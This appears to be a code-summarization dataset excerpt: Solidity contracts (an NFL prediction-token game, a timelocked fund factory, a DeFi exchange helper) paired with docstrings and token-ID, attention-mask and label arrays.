payoutRange++;
}
pValidationState = pointsValidationState.TopWinnersAssigned;
lastPrizeGiven = counter;
}
/**
* @notice Sets prize percentage to every address that wins from the position 30th onwards
* @dev If there are less than 300 tokens playing, then this function will set nothing.
* @param amount tokens in a chunk
*/
function setWinnerPrizes(uint32 amount) external onlyAdmin checkState(pointsValidationState.TopWinnersAssigned){
require(lastPrizeGiven + amount <= winnerCounter);
uint16 inRangeCounter = payDistributionAmount[payoutRange];
for(uint256 i = 0; i < amount; i++){
if (inRangeCounter == 0){
payoutRange++;
inRangeCounter = payDistributionAmount[payoutRange];
}
uint256 tokenId = sortedWinners[i + lastPrizeGiven];
tokenToPayoutMap[tokenId] = payoutDistribution[payoutRange];
inRangeCounter--;
}
//i + amount prize was not given yet, so amount -1
lastPrizeGiven += amount;
payDistributionAmount[payoutRange] = inRangeCounter;
if(lastPrizeGiven == winnerCounter){
pValidationState = pointsValidationState.WinnersAssigned;
return;
}
}
/**
* @notice Sets prizes for last tokens and sets prize pool amount
*/
function setEnd() external onlyAdmin checkState(pointsValidationState.WinnersAssigned){
uint256 balance = address(this).balance;
adminPool = balance.mul(10).div(100);
prizePool = balance.mul(90).div(100);
pValidationState = pointsValidationState.Finished;
gameFinishedTime = now;
unSetPause();
}
}
// File: contracts/CryptocupNFL.sol
contract CryptocupNFL is GameRegistry {
constructor() public {
adminAddress = msg.sender;
deploymentTime = now;
_prepareMatchResultsArray();
_prepareBonusResultsArray();
}
/**
* @dev Only accept eth from the admin
*/
function() external payable {
require(msg.sender == adminAddress || msg.sender == marketplaceAddress);
}
function buildToken(uint160 matches, uint32 bonusMatches, uint96 extraStats, string message) external payable isNotPaused returns(uint256){
require(msg.value >= _getTokenPrice(), "Eth sent is not enough.");
require(msg.sender != address(0), "Sender cannot be 0 address.");
require(ownedTokens[msg.sender].length < 100, "Sender cannot have more than 100 tokens.");
require(now < EVENT_START, "Event already started."); //Event Start
require (bytes(message).length <= 100);
uint256 tokenId = _createToken(matches, bonusMatches, extraStats, message);
_mint(msg.sender, tokenId);
emit LogTokenBuilt(msg.sender, tokenId, message, matches, extraStats, bonusMatches);
return tokenId;
}
function giftToken(address giftedAddress, uint160 matches, uint32 bonusMatches, uint96 extraStats, string message) external payable isNotPaused returns(uint256){
require(msg.value >= _getTokenPrice(), "Eth sent is not enough.");
require(msg.sender != address(0), "Sender cannot be 0 address.");
require(ownedTokens[giftedAddress].length < 100, "Sender cannot have more than 100 tokens.");
require(now < EVENT_START, "Event already started."); //Event Start
require (bytes(message).length <= 100);
uint256 tokenId = _createToken(matches, bonusMatches, extraStats, message);
_mint(giftedAddress, tokenId);
emit LogTokenGift(msg.sender, giftedAddress, tokenId, message, matches, extraStats, bonusMatches);
return tokenId;
}
function buildPrepaidToken(bytes32 secret) external payable onlyAdmin isNotPaused {
require(msg.value >= _getTokenPrice(), "Eth sent is not enough.");
require(msg.sender != address(0), "Sender cannot be 0 address.");
require(now < EVENT_START, "Event already started."); //Event Start
secretsMap[secret] = 1;
emit LogPrepaidTokenBuilt(msg.sender, secret);
}
function redeemPrepaidToken(bytes32 preSecret, uint160 matches, uint32 bonusMatches, uint96 extraStats, string message) external isNotPaused returns(uint256){
require(msg.sender != address(0), "Sender cannot be 0 address.");
require(ownedTokens[msg.sender].length < 100, "Sender cannot have more than 100 tokens.");
require(now < EVENT_START, "Event already started."); //Event Start
require (bytes(message).length <= 100);
bytes32 secret = keccak256(preSecret);
require (secretsMap[secret] == 1, "Invalid secret.");
secretsMap[secret] = 0;
uint256 tokenId = _createToken(matches, bonusMatches, extraStats, message);
_mint(msg.sender, tokenId);
emit LogPrepaidRedeemed(msg.sender, tokenId, message, matches, extraStats, bonusMatches);
return tokenId;
}
/**
* @param tokenId - ID of token to get.
* @return Returns all the valuable information about a specific token.
*/
function getToken(uint256 tokenId) external view returns (uint160 matches, uint32 bonusMatches, uint96 extraStats, uint64 timeStamp, string message) {
Token storage token = tokens[tokenId];
matches = token.matches;
bonusMatches = token.bonusMatches;
extraStats = token.extraStats;
timeStamp = token.timeStamp;
message = token.message;
}
/**
* @notice Allows any user to retrieve their asigned prize. This would be the sum of the price of all the tokens
* owned by the caller of this function.
* @dev If the caller has no prize, the function will revert costing no gas to the caller.
*/
function withdrawPrize() external checkState(pointsValidationState.Finished){
uint256 prize = 0;
uint256[] memory tokenList = ownedTokens[msg.sender];
for(uint256 i = 0;i < tokenList.length; i++){
prize += tokenToPayoutMap[tokenList[i]];
tokenToPayoutMap[tokenList[i]] = 0;
}
require(prize > 0);
msg.sender.transfer((prizePool.mul(prize)).div(1000000));
}
//EMERGENCY CALLS
//If something goes wrong or fails, these functions will allow retribution for token holders
/**
* @notice if there is an unresolvable problem, users can call to this function to get a refund.
*/
function emergencyWithdraw() external hasFinalized{
uint256 balance = STARTING_PRICE * ownedTokens[msg.sender].length;
delete ownedTokens[msg.sender];
msg.sender.transfer(balance);
}
} | * @param tokenId - ID of token to get. @return Returns all the valuable information about a specific token./ | function getToken(uint256 tokenId) external view returns (uint160 matches, uint32 bonusMatches, uint96 extraStats, uint64 timeStamp, string message) {
Token storage token = tokens[tokenId];
matches = token.matches;
bonusMatches = token.bonusMatches;
extraStats = token.extraStats;
timeStamp = token.timeStamp;
message = token.message;
}
| 12,723,340 | [
1,
2316,
548,
300,
1599,
434,
1147,
358,
336,
18,
327,
2860,
777,
326,
21748,
429,
1779,
2973,
279,
2923,
1147,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
9162,
12,
11890,
5034,
1147,
548,
13,
3903,
1476,
1135,
261,
11890,
16874,
1885,
16,
2254,
1578,
324,
22889,
6869,
16,
2254,
10525,
2870,
4195,
16,
2254,
1105,
18198,
16,
533,
883,
13,
288,
203,
203,
3639,
3155,
2502,
1147,
273,
2430,
63,
2316,
548,
15533,
203,
203,
3639,
1885,
273,
1147,
18,
8436,
31,
203,
3639,
324,
22889,
6869,
273,
1147,
18,
18688,
407,
6869,
31,
203,
3639,
2870,
4195,
273,
1147,
18,
7763,
4195,
31,
203,
3639,
18198,
273,
1147,
18,
957,
8860,
31,
203,
3639,
883,
273,
1147,
18,
2150,
31,
203,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./full_match/1/0xcD2609a25407ce8B1bDc31038Fb0B86637cB2063/sources/contracts/assetToken/AssetTokenFactory.sol | @notice mapping holding all the deployed asset tokens | mapping(address => AssetTokenContract) public assetTokenContracts;
| 3,064,725 | [
1,
6770,
19918,
777,
326,
19357,
3310,
2430,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
2874,
12,
2867,
516,
10494,
1345,
8924,
13,
1071,
3310,
1345,
20723,
31,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
pragma solidity 0.5.16;
import './TrustlessFund.sol';
import "@openzeppelin/contracts/ownership/Ownable.sol";
contract TrustlessFundFactory is Ownable {
/*** STORAGE VARIABLES ***/
/**
* @notice Maps unique IDs to funds.
*/
mapping(uint => address) funds;
/**
* @notice Maps user address to their corresponding funds.
*/
mapping(address => address[]) userFunds;
/**
* @notice Get the next fund ID.
*/
uint public nextId;
/**
* @notice The fee, in wei, charged to open a contract.
Note: This will remain 0 indefinitely.
*/
uint public fee;
/**
* @notice The total amount of fees, in wei, collected.
*/
uint public feesAccrued;
/*** EVENTS ***/
/**
* @notice Emits when a fund is created.
*/
event CreateFund(
uint expiration,
address indexed beneficiary,
address indexed owner
);
/*** PURE/VIEW FUNCTIONS ***/
/**
* @dev Given an id, return the corresponding fund address.
* @param _id The id of the fund.
*/
function getFund(uint _id) public view returns(address) {
return funds[_id];
}
/**
* @dev Given a user address, return all owned funds.
* @param _user The address of the user.
*/
function getUserFunds(address _user) public view returns(address[] memory) {
return userFunds[_user];
}
/**
* @dev Returns the fee, in wei, to open a contract.
*/
function getFee() public view returns(uint) {
return fee;
}
/*** OTHER FUNCTIONS ***/
/**
* @dev Deploy a TrustlessFund contract.
* @param _expiration Date time in seconds when timelock expires.
* @param _beneficiary Address permitted to withdraw funds after unlock.
*/
function createFund(uint _expiration, address _beneficiary) public payable returns(uint) {
require(funds[nextId] == address(0), 'id already in use');
require(msg.value == fee, 'must pay fee');
TrustlessFund fund = new TrustlessFund(_expiration, _beneficiary, msg.sender);
funds[nextId] = address(fund);
userFunds[msg.sender].push(address(fund));
nextId++;
emit CreateFund(_expiration, _beneficiary, msg.sender);
return nextId - 1;
}
/**
* @dev Sets the fee, in wei, to open a contract.
* @param _newFee The new fee, in wei.
*/
function setFee(uint _newFee) public onlyOwner() {
fee = _newFee;
}
/**
* @dev Collect accrued fees.
* @param _amount The amount to collect, in wei.
*/
function collectFees(uint _amount) public onlyOwner() {
require(feesAccrued > 0, 'no fees accrued');
feesAccrued -= _amount;
(bool success, ) = msg.sender.call.value(_amount)("");
require(success, "Transfer failed.");
}
} | * @dev Returns the fee, in wei, to open a contract./ | function getFee() public view returns(uint) {
return fee;
}
| 933,199 | [
1,
1356,
326,
14036,
16,
316,
732,
77,
16,
358,
1696,
279,
6835,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
225,
445,
2812,
1340,
1435,
1071,
1476,
1135,
12,
11890,
13,
288,
203,
565,
327,
14036,
31,
203,
225,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
pragma solidity ^0.6.0;
interface ERC20 {
function totalSupply() external view returns (uint256 supply);
function balanceOf(address _owner) external view returns (uint256 balance);
function transfer(address _to, uint256 _value) external returns (bool success);
function transferFrom(address _from, address _to, uint256 _value)
external
returns (bool success);
function approve(address _spender, uint256 _value) external returns (bool success);
function allowance(address _owner, address _spender) external view returns (uint256 remaining);
function decimals() external view returns (uint256 digits);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
//TODO: currenlty only adjusted to kyber, but should be genric interfaces for more dec. exchanges
interface ExchangeInterface {
function swapEtherToToken(uint256 _ethAmount, address _tokenAddress, uint256 _maxAmount)
external
payable
returns (uint256, uint256);
function swapTokenToEther(address _tokenAddress, uint256 _amount, uint256 _maxAmount)
external
returns (uint256);
function swapTokenToToken(address _src, address _dest, uint256 _amount)
external
payable
returns (uint256);
function getExpectedRate(address src, address dest, uint256 srcQty)
external
view
returns (uint256 expectedRate);
}
contract SaverLogger {
event Repay(
uint256 indexed cdpId,
address indexed owner,
uint256 collateralAmount,
uint256 daiAmount
);
event Boost(
uint256 indexed cdpId,
address indexed owner,
uint256 daiAmount,
uint256 collateralAmount
);
// solhint-disable-next-line func-name-mixedcase
function LogRepay(uint256 _cdpId, address _owner, uint256 _collateralAmount, uint256 _daiAmount)
public
{
emit Repay(_cdpId, _owner, _collateralAmount, _daiAmount);
}
// solhint-disable-next-line func-name-mixedcase
function LogBoost(uint256 _cdpId, address _owner, uint256 _daiAmount, uint256 _collateralAmount)
public
{
emit Boost(_cdpId, _owner, _daiAmount, _collateralAmount);
}
}
contract Discount {
address public owner;
mapping(address => CustomServiceFee) public serviceFees;
uint256 constant MAX_SERVICE_FEE = 400;
struct CustomServiceFee {
bool active;
uint256 amount;
}
constructor() public {
owner = msg.sender;
}
function isCustomFeeSet(address _user) public view returns (bool) {
return serviceFees[_user].active;
}
function getCustomServiceFee(address _user) public view returns (uint256) {
return serviceFees[_user].amount;
}
function setServiceFee(address _user, uint256 _fee) public {
require(msg.sender == owner, "Only owner");
require(_fee >= MAX_SERVICE_FEE || _fee == 0);
serviceFees[_user] = CustomServiceFee({active: true, amount: _fee});
}
function disableServiceFee(address _user) public {
require(msg.sender == owner, "Only owner");
serviceFees[_user] = CustomServiceFee({active: false, amount: 0});
}
}
abstract contract PipInterface {
function read() public virtual returns (bytes32);
}
abstract contract Spotter {
struct Ilk {
PipInterface pip;
uint256 mat;
}
mapping (bytes32 => Ilk) public ilks;
uint256 public par;
}
abstract contract Jug {
struct Ilk {
uint256 duty;
uint256 rho;
}
mapping (bytes32 => Ilk) public ilks;
function drip(bytes32) public virtual returns (uint);
}
abstract contract Vat {
struct Urn {
uint256 ink; // Locked Collateral [wad]
uint256 art; // Normalised Debt [wad]
}
struct Ilk {
uint256 Art; // Total Normalised Debt [wad]
uint256 rate; // Accumulated Rates [ray]
uint256 spot; // Price with Safety Margin [ray]
uint256 line; // Debt Ceiling [rad]
uint256 dust; // Urn Debt Floor [rad]
}
mapping (bytes32 => mapping (address => Urn )) public urns;
mapping (bytes32 => Ilk) public ilks;
mapping (bytes32 => mapping (address => uint)) public gem; // [wad]
function can(address, address) virtual public view returns (uint);
function dai(address) virtual public view returns (uint);
function frob(bytes32, address, address, address, int, int) virtual public;
function hope(address) virtual public;
function move(address, address, uint) virtual public;
}
abstract contract Gem {
function dec() virtual public returns (uint);
function gem() virtual public returns (Gem);
function join(address, uint) virtual public payable;
function exit(address, uint) virtual public;
function approve(address, uint) virtual public;
function transfer(address, uint) virtual public returns (bool);
function transferFrom(address, address, uint) virtual public returns (bool);
function deposit() virtual public payable;
function withdraw(uint) virtual public;
function allowance(address, address) virtual public returns (uint);
}
abstract contract DaiJoin {
function vat() public virtual returns (Vat);
function dai() public virtual returns (Gem);
function join(address, uint) public virtual payable;
function exit(address, uint) public virtual;
}
abstract contract Join {
bytes32 public ilk;
function dec() virtual public view returns (uint);
function gem() virtual public returns (Gem);
function join(address, uint) virtual public payable;
function exit(address, uint) virtual public;
}
abstract contract TokenInterface {
function allowance(address, address) public virtual returns (uint256);
function balanceOf(address) public virtual returns (uint256);
function approve(address, uint256) public virtual;
function transfer(address, uint256) public virtual returns (bool);
function transferFrom(address, address, uint256) public virtual returns (bool);
function deposit() public virtual payable;
function withdraw(uint256) public virtual;
}
abstract contract SaverExchangeInterface {
function getBestPrice(
uint256 _amount,
address _srcToken,
address _destToken,
uint256 _exchangeType
) public view virtual returns (address, uint256);
}
contract ConstantAddressesExchangeMainnet {
address public constant MAKER_DAI_ADDRESS = 0x89d24A6b4CcB1B6fAA2625fE562bDD9a23260359;
address public constant KYBER_ETH_ADDRESS = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
address public constant MKR_ADDRESS = 0x9f8F72aA9304c8B593d555F12eF6589cC3A579A2;
address public constant WETH_ADDRESS = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address payable public constant WALLET_ID = 0x322d58b9E75a6918f7e7849AEe0fF09369977e08;
address public constant LOGGER_ADDRESS = 0xeCf88e1ceC2D2894A0295DB3D86Fe7CE4991E6dF;
address public constant DISCOUNT_ADDRESS = 0x1b14E8D511c9A4395425314f849bD737BAF8208F;
address public constant GAS_TOKEN_INTERFACE_ADDRESS = 0x0000000000b3F879cb30FE243b4Dfee438691c04;
address public constant SAVER_EXCHANGE_ADDRESS = 0x862F3dcF1104b8a9468fBb8B843C37C31B41eF09;
// new MCD contracts
address public constant MANAGER_ADDRESS = 0x5ef30b9986345249bc32d8928B7ee64DE9435E39;
address public constant VAT_ADDRESS = 0x35D1b3F3D7966A1DFe207aa4514C12a259A0492B;
address public constant SPOTTER_ADDRESS = 0x65C79fcB50Ca1594B025960e539eD7A9a6D434A3;
address public constant PROXY_ACTIONS = 0x82ecD135Dce65Fbc6DbdD0e4237E0AF93FFD5038;
address public constant JUG_ADDRESS = 0x19c0976f590D67707E62397C87829d896Dc0f1F1;
address public constant DAI_JOIN_ADDRESS = 0x9759A6Ac90977b93B58547b4A71c78317f391A28;
address public constant ETH_JOIN_ADDRESS = 0x2F0b23f53734252Bda2277357e97e1517d6B042A;
address public constant MIGRATION_ACTIONS_PROXY = 0xe4B22D484958E582098A98229A24e8A43801b674;
address public constant SAI_ADDRESS = 0x89d24A6b4CcB1B6fAA2625fE562bDD9a23260359;
address public constant DAI_ADDRESS = 0x6B175474E89094C44Da98b954EedeAC495271d0F;
address payable public constant SCD_MCD_MIGRATION = 0xc73e0383F3Aff3215E6f04B0331D58CeCf0Ab849;
// Our contracts
address public constant ERC20_PROXY_0X = 0x95E6F48254609A6ee006F7D493c8e5fB97094ceF;
address public constant NEW_IDAI_ADDRESS = 0x6c1E2B0f67e00c06c8e2BE7Dc681Ab785163fF4D;
}
contract ConstantAddressesExchangeKovan {
address public constant MAKER_DAI_ADDRESS = 0xC4375B7De8af5a38a93548eb8453a498222C4fF2;
address public constant KYBER_ETH_ADDRESS = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
address public constant MKR_ADDRESS = 0xAaF64BFCC32d0F15873a02163e7E500671a4ffcD;
address public constant WETH_ADDRESS = 0xd0A1E359811322d97991E03f863a0C30C2cF029C;
address payable public constant WALLET_ID = 0x54b44C6B18fc0b4A1010B21d524c338D1f8065F6;
address public constant LOGGER_ADDRESS = 0x32d0e18f988F952Eb3524aCE762042381a2c39E5;
address public constant DISCOUNT_ADDRESS = 0x1297c1105FEDf45E0CF6C102934f32C4EB780929;
address public constant GAS_TOKEN_INTERFACE_ADDRESS = 0x0000000000170CcC93903185bE5A2094C870Df62;
address public constant SAVER_EXCHANGE_ADDRESS = 0xACA7d11e3f482418C324aAC8e90AaD0431f692A6;
// new MCD contracts
address public constant MANAGER_ADDRESS = 0x1476483dD8C35F25e568113C5f70249D3976ba21;
address public constant VAT_ADDRESS = 0xbA987bDB501d131f766fEe8180Da5d81b34b69d9;
address public constant SPOTTER_ADDRESS = 0x3a042de6413eDB15F2784f2f97cC68C7E9750b2D;
address public constant PROXY_ACTIONS = 0xd1D24637b9109B7f61459176EdcfF9Be56283a7B;
address public constant JUG_ADDRESS = 0xcbB7718c9F39d05aEEDE1c472ca8Bf804b2f1EaD;
address public constant DAI_JOIN_ADDRESS = 0x5AA71a3ae1C0bd6ac27A1f28e1415fFFB6F15B8c;
address public constant ETH_JOIN_ADDRESS = 0x775787933e92b709f2a3C70aa87999696e74A9F8;
address public constant MIGRATION_ACTIONS_PROXY = 0x433870076aBd08865f0e038dcC4Ac6450e313Bd8;
address public constant SAI_ADDRESS = 0xC4375B7De8af5a38a93548eb8453a498222C4fF2;
address public constant DAI_ADDRESS = 0x4F96Fe3b7A6Cf9725f59d353F723c1bDb64CA6Aa;
address payable public constant SCD_MCD_MIGRATION = 0x411B2Faa662C8e3E5cF8f01dFdae0aeE482ca7b0;
// Our contracts
address public constant ERC20_PROXY_0X = 0x95E6F48254609A6ee006F7D493c8e5fB97094ceF;
address public constant NEW_IDAI_ADDRESS = 0x6c1E2B0f67e00c06c8e2BE7Dc681Ab785163fF4D;
}
// solhint-disable-next-line no-empty-blocks
contract ConstantAddressesExchange is ConstantAddressesExchangeMainnet {}
/// @title Helper methods for integration with SaverExchange
contract ExchangeHelper is ConstantAddressesExchange {
/// @notice Swaps 2 tokens on the Saver Exchange
/// @dev ETH is sent with Weth address
/// @param _data [amount, minPrice, exchangeType, 0xPrice]
/// @param _src Token address of the source token
/// @param _dest Token address of the destination token
/// @param _exchangeAddress Address of 0x exchange that should be called
/// @param _callData data to call 0x exchange with
function swap(uint[4] memory _data, address _src, address _dest, address _exchangeAddress, bytes memory _callData) internal returns (uint) {
address wrapper;
uint price;
// [tokensReturned, tokensLeft]
uint[2] memory tokens;
bool success;
// tokensLeft is equal to amount at the beginning
tokens[1] = _data[0];
_src = wethToKyberEth(_src);
_dest = wethToKyberEth(_dest);
// use this to avoid stack too deep error
address[3] memory orderAddresses = [_exchangeAddress, _src, _dest];
// if _data[2] == 4 use 0x if possible
if (_data[2] == 4) {
if (orderAddresses[1] != KYBER_ETH_ADDRESS) {
ERC20(orderAddresses[1]).approve(address(ERC20_PROXY_0X), _data[0]);
}
(success, tokens[0], ) = takeOrder(orderAddresses, _callData, address(this).balance, _data[0]);
// if specifically 4, then require it to be successfull
require(success && tokens[0] > 0, "0x transaction failed");
}
// no 0x
// if (_data[2] == 5) {
// (wrapper, price) = SaverExchangeInterface(SAVER_EXCHANGE_ADDRESS).getBestPrice(tokens[1], orderAddresses[1], orderAddresses[2], _data[2]);
